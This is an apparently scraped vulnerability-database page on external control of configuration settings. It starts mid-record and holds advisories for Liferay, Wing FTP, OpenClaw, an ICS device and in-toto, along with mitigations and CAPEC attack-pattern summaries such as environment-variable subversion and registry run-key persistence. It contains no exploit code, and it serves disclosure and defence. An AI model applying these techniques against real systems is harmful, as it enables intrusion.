  "details": "Remote staging in Liferay Portal 7.4.0 through 7.4.3.105, and older unsupported versions, and Liferay DXP 2023.Q4.0, 2023.Q3.1 through 2023.Q3.4, 7.4 GA through update 92, 7.3 GA through update 35, and older unsupported versions does not properly obtain the remote address of the live site from the database which, which allows remote authenticated users to exfiltrate data to an attacker controlled server (i.e., a fake \u201clive site\u201d) via the _com_liferay_exportimport_web_portlet_ExportImportPortlet_remoteAddress and _com_liferay_exportimport_web_portlet_ExportImportPortlet_remotePort parameters. To successfully exploit this vulnerability, an attacker must also successfully obtain the staging server\u2019s shared secret and add the attacker controlled server to the staging server\u2019s whitelist.",
  "id": "GHSA-vp64-77c6-33h8",
  "modified": "2025-09-15T22:25:10Z",
  "published": "2025-09-15T18:31:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-43792"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/liferay/liferay-portal"
    },
    {
      "type": "WEB",
      "url": "https://liferay.dev/portal/security/known-vulnerabilities/-/asset_publisher/jekt/content/CVE-2025-43792"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Liferay Portal has External Control of System or Configuration Settings"
}

GHSA-VV9J-PVH3-XWG4

Vulnerability from github – Published: 2025-07-10 18:31 – Updated: 2025-07-10 18:31
VLAI
Details

Wing FTP Server before 7.4.4 does not properly validate and sanitize the url parameter of the downloadpass.html endpoint, allowing injection of an arbitrary link. If a user clicks a crafted link, this discloses a cleartext password to the attacker.

Severity
3.4 (Low)
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-27889"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-15"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-10T17:15:46Z",
    "severity": "LOW"
  },
  "details": "Wing FTP Server before 7.4.4 does not properly validate and sanitize the url parameter of the downloadpass.html endpoint, allowing injection of an arbitrary link. If a user clicks a crafted link, this discloses a cleartext password to the attacker.",
  "id": "GHSA-vv9j-pvh3-xwg4",
  "modified": "2025-07-10T18:31:27Z",
  "published": "2025-07-10T18:31:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27889"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MrTuxracer/advisories/blob/master/CVEs/CVE-2025-27889.txt"
    },
    {
      "type": "WEB",
      "url": "https://www.rcesecurity.com/2025/06/what-the-null-wing-ftp-server-rce-cve-2025-47812"
    },
    {
      "type": "WEB",
      "url": "https://www.wftpserver.com/wftpserver.htm"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W9CG-V44M-4QV8

Vulnerability from github – Published: 2026-03-03 22:09 – Updated: 2026-03-03 22:09
VLAI
Summary
OpenClaw affected by BASH_ENV / ENV startup-file injection into spawned shell commands
Details

Summary

BASH_ENV / ENV startup-file injection could lead to unintended pre-command shell execution when attacker-controlled environment values were admitted and then inherited by host command execution paths.

Affected Packages / Versions

  • Package: openclaw (npm)
  • Affected: <= 2026.2.19-2
  • Fixed on main: 2cdbadee1f8fcaa93302d7debbfc529e19868ea4
  • Planned patched release version: 2026.2.21

Details

The fix hardens environment handling across all relevant execution paths: - Blocks dangerous startup/runtime env keys and prefixes in shared host env sanitization. - Sanitizes inherited ambient environment even when no per-request overrides are provided. - Blocks dangerous config-driven env injection before values enter process environment. - Uses the same sanitizer in macOS host execution paths. - Aligns skill env override sanitization with the shared dangerous-env policy.

Impact

Medium. Exploitation requires local/privileged influence over configuration or environment inputs; there is no standalone remote unauthenticated trigger from this issue alone.

Fix Commit(s)

  • 2cdbadee1f8fcaa93302d7debbfc529e19868ea4

Release Process Note

patched_versions is pre-set to the planned next release (2026.2.21). Once npm openclaw@2026.2.21 is published, the advisory can be published without further field edits.

OpenClaw thanks @tdjackey for reporting.

Severity
7.3 (High)
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.2.21"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-15",
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-03T22:09:52Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n`BASH_ENV` / `ENV` startup-file injection could lead to unintended pre-command shell execution when attacker-controlled environment values were admitted and then inherited by host command execution paths.\n\n### Affected Packages / Versions\n- Package: `openclaw` (npm)\n- Affected: `\u003c= 2026.2.19-2`\n- Fixed on `main`: `2cdbadee1f8fcaa93302d7debbfc529e19868ea4`\n- Planned patched release version: `2026.2.21`\n\n### Details\nThe fix hardens environment handling across all relevant execution paths:\n- Blocks dangerous startup/runtime env keys and prefixes in shared host env sanitization.\n- Sanitizes inherited ambient environment even when no per-request overrides are provided.\n- Blocks dangerous config-driven env injection before values enter process environment.\n- Uses the same sanitizer in macOS host execution paths.\n- Aligns skill env override sanitization with the shared dangerous-env policy.\n\n### Impact\nMedium. Exploitation requires local/privileged influence over configuration or environment inputs; there is no standalone remote unauthenticated trigger from this issue alone.\n\n### Fix Commit(s)\n- `2cdbadee1f8fcaa93302d7debbfc529e19868ea4`\n\n### Release Process Note\n`patched_versions` is pre-set to the planned next release (`2026.2.21`). Once npm `openclaw@2026.2.21` is published, the advisory can be published without further field edits.\n\nOpenClaw thanks @tdjackey for reporting.",
  "id": "GHSA-w9cg-v44m-4qv8",
  "modified": "2026-03-03T22:09:52Z",
  "published": "2026-03-03T22:09:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-w9cg-v44m-4qv8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/2cdbadee1f8fcaa93302d7debbfc529e19868ea4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw affected by BASH_ENV / ENV startup-file injection into spawned shell commands"
}

GHSA-W9FX-47F2-7VFF

Vulnerability from github – Published: 2025-04-16 00:31 – Updated: 2025-04-16 00:31
VLAI
Details

Unauthenticated attackers can send configuration settings to device and possible perform physical actions remotely (e.g., on/off).

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-30512"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-15"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-15T22:15:26Z",
    "severity": "MODERATE"
  },
  "details": "Unauthenticated attackers can send configuration settings to device and possible perform physical actions remotely (e.g., on/off).",
  "id": "GHSA-w9fx-47f2-7vff",
  "modified": "2025-04-16T00:31:38Z",
  "published": "2025-04-16T00:31:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30512"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-105-04"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-WC64-C5RV-32PF

Vulnerability from github – Published: 2023-05-11 20:47 – Updated: 2023-05-11 20:47
VLAI
Summary
in-toto vulnerable to Configuration Read From Local Directory
Details

Impact

The in-toto configuration is read from various directories and allows users to configure the behavior of the framework. The files are from directories following the XDG base directory specification [1]. Among the files read is .in_totorc which is a hidden file in the directory in which in-toto is run. If an attacker controls the inputs to a supply chain step, they can mask their activities by also passing in an .in_totorc file that includes the necessary exclude patterns and settings.

RC files are widely used in other systems [2] and security issues have been discovered in their implementations as well [3]. We found in our conversations with in-toto adopters that in_totorc is not their preferred way to configure in-toto. As none of the options supported in in_totorc is unique, and can be set elsewhere using API parameters or CLI arguments, we decided to drop support for in_totorc.

Other Recommendations

Sandbox functionary code as recommended in https://github.com/in-toto/docs/security/advisories/GHSA-p86f-xmg6-9q4x.

References

[1] https://specifications.freedesktop.org/basedir-spec/basedir-spec-latest.html [2] https://spec.editorconfig.org/ [3] https://github.blog/2022-04-12-git-security-vulnerability-announced/

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.4.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "in-toto"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-32076"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-15",
      "CWE-610"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-05-11T20:47:56Z",
    "nvd_published_at": "2023-05-10T18:15:10Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nThe in-toto configuration is read from various directories and allows users to configure the behavior of the framework. The files are from directories following the XDG base directory specification [1]. Among the files read is `.in_totorc` which is a hidden file in the directory in which in-toto is run. If an attacker controls the inputs to a supply chain step, they can mask their activities by also passing in an `.in_totorc` file that includes the necessary exclude patterns and settings.\n\nRC files are widely used in other systems [2] and security issues have been discovered in their implementations as well [3]. We found in our conversations with in-toto adopters that `in_totorc` is not their preferred way to configure in-toto. As none of the options supported in `in_totorc` is unique, and can be set elsewhere using API parameters or CLI arguments, we decided to drop support for `in_totorc`.\n\n### Other Recommendations\n\nSandbox functionary code as recommended in https://github.com/in-toto/docs/security/advisories/GHSA-p86f-xmg6-9q4x.\n\n### References\n\n[1] https://specifications.freedesktop.org/basedir-spec/basedir-spec-latest.html\n[2] https://spec.editorconfig.org/\n[3] https://github.blog/2022-04-12-git-security-vulnerability-announced/\n",
  "id": "GHSA-wc64-c5rv-32pf",
  "modified": "2023-05-11T20:47:56Z",
  "published": "2023-05-11T20:47:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/in-toto/docs/security/advisories/GHSA-p86f-xmg6-9q4x"
    },
    {
      "type": "WEB",
      "url": "https://github.com/in-toto/in-toto/security/advisories/GHSA-wc64-c5rv-32pf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-32076"
    },
    {
      "type": "WEB",
      "url": "https://github.com/in-toto/in-toto/commit/3a21d84f40811b7d191fa7bd17265c1f99599afd"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/in-toto/in-toto"
    },
    {
      "type": "WEB",
      "url": "https://github.com/in-toto/in-toto/releases/tag/v2.0.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/in-toto/PYSEC-2023-63.yaml"
    },
    {
      "type": "WEB",
      "url": "https://specifications.freedesktop.org/basedir-spec/basedir-spec-latest.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "in-toto vulnerable to Configuration Read From Local Directory"
}
Mitigation MIT-46
Architecture and Design

Strategy: Separation of Privilege

  • Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.
  • Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
Mitigation
Implementation Architecture and Design

Because setting manipulation covers a diverse set of functions, any attempt at illustrating it will inevitably be incomplete. Rather than searching for a tight-knit relationship between the functions addressed in the setting manipulation category, take a step back and consider the sorts of system values that an attacker should not be allowed to control.

Mitigation
Implementation Architecture and Design

In general, do not allow user-provided or otherwise untrusted data to control sensitive values. The leverage that an attacker gains by controlling these values is not always immediately obvious, but do not underestimate the creativity of the attacker.

CAPEC-13: Subverting Environment Variable Values

The adversary directly or indirectly modifies environment variables used by or controlling the target software. The adversary's goal is to cause the target software to deviate from its expected operation in a manner that benefits the adversary.

CAPEC-146: XML Schema Poisoning

An adversary corrupts or modifies the content of XML schema information passed between a client and server for the purpose of undermining the security of the target. XML Schemas provide the structure and content definitions for XML documents. Schema poisoning is the ability to manipulate a schema either by replacing or modifying it to compromise the programs that process documents that use this schema.

CAPEC-176: Configuration/Environment Manipulation

An attacker manipulates files or settings external to a target application which affect the behavior of that application. For example, many applications use external configuration files and libraries - modification of these entities or otherwise affecting the application's ability to use them would constitute a configuration/environment manipulation attack.

CAPEC-203: Manipulate Registry Information

An adversary exploits a weakness in authorization in order to modify content within a registry (e.g., Windows Registry, Mac plist, application registry). Editing registry information can permit the adversary to hide configuration information or remove indicators of compromise to cover up activity. Many applications utilize registries to store configuration and service information. As such, modification of registry information can affect individual services (affecting billing, authorization, or even allowing for identity spoofing) or the overall configuration of a targeted application. For example, both Java RMI and SOAP use registries to track available services. Changing registry values is sometimes a preliminary step towards completing another attack pattern, but given the long term usage of many registry values, manipulation of registry information could be its own end.

CAPEC-270: Modification of Registry Run Keys

An adversary adds a new entry to the "run keys" in the Windows registry so that an application of their choosing is executed when a user logs in. In this way, the adversary can get their executable to operate and run on the target system with the authorized user's level of permissions. This attack is a good way for an adversary to run persistent spyware on a user's machine, such as a keylogger.

CAPEC-271: Schema Poisoning

An adversary corrupts or modifies the content of a schema for the purpose of undermining the security of the target. Schemas provide the structure and content definitions for resources used by an application. By replacing or modifying a schema, the adversary can affect how the application handles or interprets a resource, often leading to possible denial of service, entering into an unexpected state, or recording incomplete data.

CAPEC-579: Replace Winlogon Helper DLL

Winlogon is a part of Windows that performs logon actions. In Windows systems prior to Windows Vista, a registry key can be modified that causes Winlogon to load a DLL on startup. Adversaries may take advantage of this feature to load adversarial code at startup.

CAPEC-69: Target Programs with Elevated Privileges

This attack targets programs running with elevated privileges. The adversary tries to leverage a vulnerability in the running program and get arbitrary code to execute with elevated privileges.

CAPEC-76: Manipulating Web Input to File System Calls

An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

CAPEC-77: Manipulating User-Controlled Variables

This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.

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